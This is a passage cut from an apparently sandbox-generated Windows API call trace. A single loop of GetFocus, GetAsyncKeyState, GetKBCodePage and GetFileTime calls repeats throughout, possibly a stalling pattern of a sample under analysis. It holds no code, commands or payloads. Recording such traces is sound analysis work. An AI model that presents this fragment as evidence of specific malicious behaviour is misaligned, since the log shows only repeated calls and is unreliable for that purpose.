dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.573] GetKBCodePage () returned 0x1b5 [0223.573] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.573] GetFocus () returned 0x0 [0223.573] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.574] GetKBCodePage () returned 0x1b5 [0223.574] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.574] GetFocus () returned 0x0 [0223.574] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.575] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.575] GetFocus () returned 0x0 [0223.575] GetAsyncKeyState (vKey=58) returned 0 [0223.575] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.576] GetFocus () returned 0x0 [0223.576] GetAsyncKeyState (vKey=58) returned 0 [0223.576] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.576] GetFocus () returned 0x0 [0223.576] GetAsyncKeyState (vKey=58) returned 0 [0223.576] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.576] GetFocus () returned 0x0 [0223.576] GetAsyncKeyState (vKey=58) returned 0 [0223.576] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.576] GetFocus () returned 0x0 [0223.576] GetAsyncKeyState (vKey=58) returned 0 [0223.576] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.576] GetFocus () returned 0x0 [0223.576] GetAsyncKeyState (vKey=58) returned 0 [0223.576] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.576] GetFocus () returned 0x0 [0223.576] GetAsyncKeyState (vKey=58) returned 0 [0223.576] GetKBCodePage () returned 0x1b5 [0223.576] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.580] GetFocus () returned 0x0 [0223.580] GetAsyncKeyState (vKey=58) returned 0 [0223.580] GetKBCodePage () returned 0x1b5 [0223.580] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.581] GetFocus () returned 0x0 [0223.581] GetAsyncKeyState (vKey=58) returned 0 [0223.581] GetKBCodePage () returned 0x1b5 [0223.581] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, 